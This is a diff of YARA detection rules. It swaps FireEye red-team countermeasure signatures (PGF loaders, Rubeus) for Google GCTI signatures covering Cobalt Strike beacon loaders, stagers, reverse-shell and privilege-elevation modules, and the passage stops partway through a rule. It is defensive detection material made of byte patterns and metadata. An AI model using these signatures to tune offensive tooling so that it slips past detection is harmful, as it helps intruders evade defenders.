-rule FIREEYE_RT_APT_Loader_Win64_PGF_2 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beaconloader_VA_X64_O_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "base dlls: /lib/payload/techniques/dllmain/"
-		author = "FireEye"
-		id = "5253cb2a-28fd-57ab-be3d-f11cf2ea24cf"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_2.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4326a7e863928ffbb5f6bdf63bb9126e"
-		logic_hash = "074f6d9ad78ecd4dd8e3d0b5c8b0f61a48374f3935b85c4222305b207b447ec7"
+		description = "Cobalt Strike's sleeve/BeaconLoader.VA.x64.o (VirtualAlloc) Versions 4.3 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "8ca04f82-a8a8-5162-8b0c-8a7bce678a85"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L376-L456"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9"
+		logic_hash = "17402e952d71d02274a9b2814512b28a402e8d11a6c2a2375844fe24719f87a6"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 2
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { B9 [4] FF 15 [4-32] 8B ?? 1C [0-16] 0F B? ?? 04 [0-64] F3 0F 6F 00 [0-64] 66 0F EF C8 [0-64] F3 0F 7F 08 [0-64] 30 ?? 48 8D 40 01 48 83 ?? 01 7? }
-		$sb2 = { 44 8B ?? 08 [0-32] 41 B8 00 30 00 00 [0-16] FF 15 [4-32] 48 8B C8 [0-16] E8 [4-64] 4D 8D 49 01 [0-32] C1 ?? 04 [0-64] 0F B? [2-16] 41 30 ?? FF 45 3? ?? 7? }
-		$sb3 = { 63 ?? 3C [0-16] 03 [1-32] 0F B? ?? 14 [0-16] 8D ?? 18 [0-16] 03 [1-16] 66 ?? 3B ?? 06 7? [1-64] 48 8D 15 [4-32] FF 15 [4-16] 85 C0 [2-32] 41 0F B? ?? 06 }
+		$core_sig = {
+      C6 44 24 48 56
+      C6 44 24 49 69
+      C6 44 24 4A 72
+      C6 44 24 4B 74
+      C6 44 24 4C 75
+      C6 44 24 4D 61
+      C6 44 24 4E 6C
+      C6 44 24 4F 41
+      C6 44 24 50 6C
+      C6 44 24 51 6C
+      C6 44 24 52 6F
+      C6 44 24 53 63
+      C6 44 24 54 00
+    }
+		$deobfuscator = {
+      8B 04 24
+      FF C0
+      89 04 24
+      8B 44 24 28
+      39 04 24
+      73 20
+      8B 04 24
+      0F B6 4C 24 30
+      48 8B 54 24 20
+      0F BE 04 02
+      33 C1
+      8B 0C 24
+      48 8B 54 24 20
+      88 04 0A
+    }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_Win_PGF_2 : FILE
+rule GCTI_Cobaltstrike_Sleeve_Beaconloader_X64_O_V4_3_V4_4_V4_5_And_V4_6
 {
 	meta:
-		description = "PE rich header matches PGF backdoor"
-		author = "FireEye"
-		id = "595c9e2a-3d9d-5366-9449-de1bcf333f78"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_2.yar#L4-L21"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "226b1ac427eb5a4dc2a00cc72c163214"
-		logic_hash = "b8c024c6b4c3ce9915700b62da8a1f12440215b46f3a56078707f5257e575811"
+		description = "Cobalt Strike's sleeve/BeaconLoader.x64.o (Base) Versions 4.3 through at least 4.6"
+		author = "gssincla@google.com"
+		id = "07f751e4-f001-5b95-b229-31fbaa867cea"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L458-L555"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "ac090a0707aa5ccd2c645b523bd23a25999990cf6895fce3bfa3b025e3e8a1c9"
+		logic_hash = "50d9da466e2c074b3fb634203c8840d45da8f8e3094790d7c4354a5703b583ef"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		md5_2 = "2398ed2d5b830d226af26dedaf30f64a"
-		md5_3 = "24a7c99da9eef1c58f09cf09b9744d7b"
-		md5_4 = "aeb0e1d0e71ce2a08db9b1e5fb98e0aa"
-		rev = 4
+		quality = 85
+		tags = ""
 
 	strings:
-		$rich1 = { A8 B7 17 3A EC D6 79 69 EC D6 79 69 EC D6 79 69 2F D9 24 69 E8 D6 79 69 E5 AE EC 69 EA D6 79 69 EC D6 78 69 A8 D6 79 69 E5 AE EA 69 EF D6 79 69 E5 AE FA 69 D0 D6 79 69 E5 AE EB 69 ED D6 79 69 E5 AE FD 69 E2 D6 79 69 CB 10 07 69 ED D6 79 69 E5 AE E8 69 ED D6 79 69 }
-		$rich2 = { C1 CF 75 A4 85 AE 1B F7 85 AE 1B F7 85 AE 1B F7 8C D6 88 F7 83 AE 1B F7 0D C9 1A F6 87 AE 1B F7 0D C9 1E F6 8F AE 1B F7 0D C9 1F F6 8F AE 1B F7 0D C9 18 F6 84 AE 1B F7 DE C6 1A F6 86 AE 1B F7 85 AE 1A F7 BF AE 1B F7 84 C3 12 F6 81 AE 1B F7 84 C3 E4 F7 84 AE 1B F7 84 C3 19 F6 84 AE 1B F7 }
-		$rich3 = { D6 60 82 B8 92 01 EC EB 92 01 EC EB 92 01 EC EB 9B 79 7F EB 94 01 EC EB 1A 66 ED EA 90 01 EC EB 1A 66 E9 EA 98 01 EC EB 1A 66 E8 EA 9A 01 EC EB 1A 66 EF EA 90 01 EC EB C9 69 ED EA 91 01 EC EB 92 01 ED EB AF 01 EC EB 93 6C E5 EA 96 01 EC EB 93 6C 13 EB 93 01 EC EB 93 6C EE EA 93 01 EC EB }
-		$rich4 = { 41 36 64 33 05 57 0A 60 05 57 0A 60 05 57 0A 60 73 CA 71 60 01 57 0A 60 0C 2F 9F 60 04 57 0A 60 0C 2F 89 60 3D 57 0A 60 0C 2F 8E 60 0A 57 0A 60 05 57 0B 60 4A 57 0A 60 0C 2F 99 60 06 57 0A 60 73 CA 67 60 04 57 0A 60 0C 2F 98 60 04 57 0A 60 0C 2F 80 60 04 57 0A 60 22 91 74 60 04 57 0A 60 0C 2F 9B 60 04 57 0A 60 }
+		$core_sig = {
+      33 C0
+      83 F8 01
+      74 63
+      48 8B 44 24 20
+      0F B7 00
+      3D 4D 5A 00 00
+      75 45
+      48 8B 44 24 20
+      48 63 40 3C
+      48 89 44 24 28
+      48 83 7C 24 28 40
+      72 2F
+      48 81 7C 24 28 00 04 00 00
+      73 24
+      48 8B 44 24 20
+      48 8B 4C 24 28
+      48 03 C8
+      48 8B C1
+      48 89 44 24 28
+      48 8B 44 24 28
+      81 38 50 45 00 00
+      75 02
+    }
+		$deobfuscator = {
+      8B 04 24
+      FF C0
+      89 04 24
+      8B 44 24 28
+      39 04 24
+      73 20
+      8B 04 24
+      0F B6 4C 24 30
+      48 8B 54 24 20
+      0F BE 04 02
+      33 C1
+      8B 0C 24
+      48 8B 54 24 20
+      88 04 0A
+    }
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and filesize <15MB and (($rich1 at 128) or ($rich2 at 128) or ($rich3 at 128) or ($rich4 at 128))
+		$core_sig and not $deobfuscator
 }
-rule FIREEYE_RT_APT_Loader_Win32_PGF_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Httpstager64_Bin_V3_2_Through_V4_X
 {
 	meta:
-		description = "base dlls: /lib/payload/techniques/dllmain/"
-		author = "FireEye"
-		id = "e11a626b-ce91-5f6c-a514-9a8a02a29cbd"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_2.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "04eb45f8546e052fe348fda2425b058c"
-		logic_hash = "d69f3f31c4964fe933295563e08bdbb36abadd6611541b9ffa55b6829ced1d21"
+		description = "Cobalt Strike's resources/httpstager64.bin signature for versions v3.2 to v4.x"
+		author = "gssincla@google.com"
+		id = "5530dce8-e5a1-5133-9b05-464e3397084a"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpstager64_Bin_v3_2_through_v4_x.yara#L17-L85"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "ad93d1ee561bc25be4a96652942f698eac9b133d8b35ab7e7d3489a25f1d1e76"
+		logic_hash = "23666169565c6b3e5fa71767dc31096e7a25be049eeab16b074053d76c97c70b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { 6A ?? FF 15 [4-16] 8A ?? 04 [0-16] 8B ?? 1C [0-64] 0F 10 ?? 66 0F EF C8 0F 11 [0-32] 30 [2] 8D [2] 4? 83 [2] 7? }
-		$sb2 = { 8B ?? 08 [0-16] 6A 40 68 00 30 00 00 5? 6A 00 [0-32] FF 15 [4-32] 5? [0-16] E8 [4-64] C1 ?? 04 [0-32] 8A [2] 3? [2] 4? 3? ?? 24 ?? 7? }
-		$sb3 = { 8B ?? 3C [0-16] 03 [1-64] 0F B? ?? 14 [0-32] 83 ?? 18 [0-32] 66 3? ?? 06 [4-32] 68 [4] 5? FF 15 [4-16] 85 C0 [2-32] 83 ?? 28 0F B? ?? 06 }
+		$apiLocator = {
+			48 [2]
+			AC
+			41 [2] 0D
+			41 [2]
+			38 ??
+			75 ??
+			4C [4]
+			45 [2]
+			75 ??
+			5?
+			44 [2] 24
+			49 [2]
+			66 [4]
+			44 [2] 1C
+			49 [2]
+			41 [3]
+			48
+		}
+		$postInternetOpenJmp = {
+			41 ?? 3A 56 79 A7
+			FF ??
+			EB
+		}
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		$apiLocator and $postInternetOpenJmp
 }
-rule FIREEYE_RT_APT_Loader_MSIL_PGF_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Reverse_Bin_V2_5_Through_V4_X
 {
 	meta:
-		description = "base.js, ./lib/payload/techniques/jscriptdotnet/jscriptdotnet_payload.py"
-		author = "FireEye"
-		id = "c5f2ec90-cd9b-53ce-893b-e44192fcd507"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_2.yar#L4-L20"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "7c2a06ceb29cdb25f24c06f2a8892fba"
-		logic_hash = "b962ea30c063009c0383e25edda3a65202bea4496d0d6228549dcea82bba0d03"
+		description = "Cobalt Strike's resources/reverse.bin signature for versions 2.5 to 4.x"
+		author = "gssincla@google.com"
+		id = "182dbcd0-1180-5516-abe3-cf2eebbd0e39"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Reverse_Bin_v2_5_through_v4_x.yara#L17-L104"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "887f666d6473058e1641c3ce1dd96e47189a59c3b0b85c8b8fccdd41b84000c7"
+		logic_hash = "c6c4fc477c7654ec07eb6ef4c6d53805a9b4881ba288754e1f50b3e4b134333c"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { 2? 00 10 00 00 0A 1? 40 0? 72 [4] 0? 0? 28 [2] 00 0A 0? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 0? 74 [2] 00 01 28 [2] 00 0A 6? 0? 0? 28 [2] 00 06 D0 [2] 00 01 28 [2] 00 0A 1? 28 [2] 00 0A 79 [2] 00 01 71 [2] 00 01 13 ?? 0? 1? 11 ?? 0? 74 [2] 00 01 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 13 ?? 1? 13 ?? 7E [2] 00 0A 13 ?? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 1? 11 ?? 11 ?? 1? 11 ?? 28 [2] 00 06 }
-		$ss1 = "\x00CreateThread\x00"
-		$ss2 = "\x00ScriptObjectStackTop\x00"
-		$ss3 = "\x00Microsoft.JScript\x00"
+		$apiLocator = {
+			31 ??
+			AC
+			C1 ?? 0D
+			01 ??
+			38 ??
+			75 ??
+			03 [2]
+			3B [2]
+			75 ??
+			5?
+			8B ?? 24
+			01 ??
+			66 8B [2]
+			8B ?? 1C
+			01 ??
+			8B ?? 8B
+			01 ??
+			89 [3]
+			5?
+			5?
+		}
+		$ws2_32 = {
+			5D
+			68 33 32 00 00
+			68 77 73 32 5F
+		}
+		$connect = {
+			6A 10
+			5?
+			5?
+			68 99 A5 74 61
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		$apiLocator and $ws2_32 and $connect
 }
-rule FIREEYE_RT_APT_Loader_Win64_PGF_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Xor_Bin__64Bit_V3_12_To_V4_X
 {
 	meta:
-		description = "base dlls: /lib/payload/techniques/unmanaged_exports/"
-		author = "FireEye"
-		id = "1f2280c0-0fdd-5930-947a-931274bccd6f"
-		date = "2020-11-25"
-		date = "2020-11-25"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_1.yar#L4-L19"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "2b686a8b83f8e1d8b455976ae70dab6e"
-		logic_hash = "2e84d614c34b0b7f93fa70fa3312f22e3ff23f2abd33b2e19c00dd6cba7dcfdc"
+		description = "Cobalt Strike's resource/xor64.bin signature for version 3.12 through 4.x"
+		author = "gssincla@google.com"
+		id = "5bb465ee-3bbd-5bfe-8b63-1f243de217bc"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Xor_Bin__64bit_v3_12_to_4_x.yara#L17-L38"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "01dba8783768093b9a34a1ea2a20f72f29fd9f43183f3719873df5827a04b744"
+		logic_hash = "aabaad09408ae292a0bbc678c334f9f54364b4f6b882846072c303bf826fc2da"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { B9 14 00 00 00 FF 15 [4-32] 0F B6 ?? 04 [0-32] F3 A4 [0-64] 0F B6 [2-3] 0F B6 [2-3] 33 [0-32] 88 [1-9] EB }
-		$sb2 = { 41 B8 00 30 00 00 [0-32] FF 15 [8-64] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [1-64] FF ( D? | 5? ) }
-		$sb3 = { 48 89 4C 24 08 [4-64] 48 63 48 3C [0-32] 48 03 C1 [0-64] 0F B7 48 14 [0-64] 48 8D 44 08 18 [8-64] 0F B7 40 06 [2-32] 48 6B C0 28 }
+		$stub58 = {fc e8 ?? ?? ?? ?? [1-32] eb 33 5? 8b ?? 00 4? 83 ?? ?4 8b ?? 00 31 ?? 4? 83 ?? ?4 5? 8b ?? 00 31 ?? 89 ?? 00 31 ?? 4? 83 ?? ?4 83 ?? ?4 31 ?? 39 ?? 74 ?2 eb e7 5? fc 4? 83 ?? f0 ff}
+		$stub59 = {fc e8 ?? ?? ?? ?? [1-32] eb 2e 5? 8b ??    48 83 c? ?4 8b ??    31 ?? 48 83 c? ?4 5? 8b ??    31 ?? 89 ??    31 ?? 48 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e9 5?    48 83 ec ?8 ff e? e8 cd ff ff ff}
+		$stub63 = {fc e8 ?? ?? ?? ?? [1-32] eb 32 5d 8b ?? ?? 48 83 c5 ?4 8b ?? ?? 31 ?? 48 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 48 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e7 5?    48 83 ec ?8 ff e? e8 c9 ff ff ff}
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x020B) and all of them
+		any of them
 }
-rule FIREEYE_RT_APT_Loader_MSIL_PGF_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Elevate_X64_Dll_V3_0_To_V3_14_And_Sleeve_Elevate_X64_Dll_V4_X
 {
 	meta:
-		description = "base.cs"
-		author = "FireEye"
-		id = "39d9821f-86e8-528a-a0a9-287dbe325484"
-		date = "2020-11-24"
-		date = "2020-11-24"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_1.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "a495c6d11ff3f525915345fb762f8047"
-		logic_hash = "4174ed53336f3951d26282dc81b99b2044ac6350d4b4c0074194a9b4acecefee"
+		description = "Cobalt Strike's resources/elevate.x64.dll signature for v3.0 to v3.14 and sleeve/elevate.x64.dll for v4.x"
+		author = "gssincla@google.com"
+		id = "91d5c343-1084-5cfc-9dfa-46f530eb9625"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Elevate_X64_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_X64_Dll_v4_x.yara#L17-L71"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "c3ee8a9181fed39cec3bd645b32b611ce98d2e84c5a9eff31a8acfd9c26410ec"
+		logic_hash = "6f23bcf6a0c360d2f83140ce633440b13d8b691e75c5560c65656cf8a6114224"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { 72 [4] 6F [2] 00 0A 26 [0-16] 0? 6F [2] 00 0A [1-3] 0? 28 [2] 00 0A [0-1] 0? 72 [4-5] 0? 28 [2] 00 0A [0-1] 0? 6F [2] 00 0A 13 ?? 1? 13 ?? 38 [8-16] 91 [3-6] 8E 6? 5D 91 61 D2 9C 11 ?? 1? 58 13 [3-5] 8E 6? 3F }
+		$wnd_proc = {
+			81 ?? 21 01 00 00
+			75 ??
+			83 [5] 00
+			75 ??
+			45 33 ??
+			8D [2]
+			C7 [5] 01 00 00 00
+			45 [2] 28
+			FF 15 [4]
+			45 33 ??
+			8D [2]
+			45 [2] 27
+			48 [2]
+			FF 15 [4]
+			45 33 ??
+			45 33 ??
+			BA 01 02 00 00
+			48
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		$wnd_proc
 }
-rule FIREEYE_RT_APT_Loader_Win32_PGF_4 : FILE
+rule GCTI_Cobaltstrike_Resources_Browserpivot_X64_Bin_V1_48_To_V3_14_And_Sleeve_Browserpivot_X64_Dll_V4_0_To_V4_X
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "d46d9ae9-cb7d-5a25-9ee2-766097c14af6"
-		date = "2020-11-26"
-		date = "2020-11-26"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_4.yar#L4-L17"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "4414953fa397a41156f6fa4f9462d207"
-		logic_hash = "4256bfd3713f330d76cad9d1ddbba91e588dbca2e2b6842e9482525805ddc1e8"
+		description = "Cobalt Strike's resources/browserpivot.x64.bin from v1.48 to v3.14 and sleeve/browserpivot.x64.dll from v4.0 to at least v4.4"
+		author = "gssincla@google.com"
+		id = "a5dfae85-ff9c-5ca5-9ac0-041c6108a6ed"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Browserpivot_x64_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_x64_Dll_v4_0_to_v4_x.yara#L17-L64"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "0ad32bc4fbf3189e897805cec0acd68326d9c6f714c543bafb9bc40f7ac63f55"
+		logic_hash = "a59f19b6e258b724ed88b4255717d066319ba5fb0838d6c6ed11355e9d9b1c22"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { C7 44 24 0C 04 00 00 00 C7 44 24 08 00 10 00 00 [4-32] C7 04 24 00 00 00 00 [0-32] FF [1-16] 89 45 ?? 83 7D ?? 00 [2-150] 0F B? ?? 8B [2] B? CD CC CC CC 89 ?? F7 ?? C1 ?? 04 89 ?? C1 ?? 02 [0-32] 0F B? [5-32] 3? [1-16] 88 }
-		$sb2 = { C? 45 ?? B8 [0-4] C? 45 ?? 00 [0-64] FF [0-32] E0 [0-32] C7 44 24 08 40 00 00 00 [0-32] C7 44 24 04 07 00 00 00 [0-32] FF [1-64] 89 ?? 0F B? [2-3] 89 ?? 04 0F B? [2] 88 ?? 06 8B ?? 08 8D ?? 01 8B 45 0C }
+		$socket_recv = {
+			FF 15 [4]
+			83 ?? FF
+			74 ??
+			85 ??
+			74 ??
+			03 ??
+			83 ?? 02
+			72 ??
+			8D ?? FF
+			80 [2] 0A
+			75 ??
+			8D ?? FE
+			80 [2] 0D
+		}
+		$fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]"
 
 	condition:
-		( uint16(0)==0x5A4D) and ( uint32( uint32(0x3C))==0x00004550) and ( uint16( uint32(0x3C)+0x18)==0x010B) and all of them
+		all of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_GETDOMAINPASSWORDPOLICY_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Artifact32_And_Resources_Dropper_V1_49_To_V3_14
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the recon utility 'getdomainpasswordpolicy' project."
-		author = "FireEye"
-		id = "69745e99-33cc-5171-ae7a-5c98439a0b6d"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/GETDOMAINPASSWORDPOLICY/production/yara/HackTool_MSIL_GETDOMAINPASSWORDPOLICY_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "6b2ea3ebfea2c87f16052f4a43b64eb2d595c2dd4a64d45dfce1642668dcf602"
+		description = "Cobalt Strike's resources/artifact32{.exe,.dll,big.exe,big.dll} and resources/dropper.exe signature for versions 1.49 to 3.14"
+		author = "gssincla@google.com"
+		id = "243e3761-cbea-561c-97da-f6ba12ebc7ee"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L17-L32"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "40fc605a8b95bbd79a3bd7d9af73fbeebe3fada577c99e7a111f6168f6a0d37a"
+		logic_hash = "437706c808bca28384a6e8e24fa3ae120a4ebe4166fa4ca3564c58b881fb23a8"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 4
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid0 = "a5da1897-29aa-45f4-a924-561804276f08" ascii nocase wide
+		$payloadDecoder = { 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 18 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 03 [2] 0F B6 00 31 ?? 88 ?? 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 12 }
 
 	condition:
-		filesize <10MB and ( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		any of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_Rubeus_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Artifact32_V3_1_And_V3_2
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project."
-		author = "FireEye"
-		id = "0ca140ea-2b9f-5904-a4c0-8615229626f0"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "66e0681a500c726ed52e5ea9423d2654"
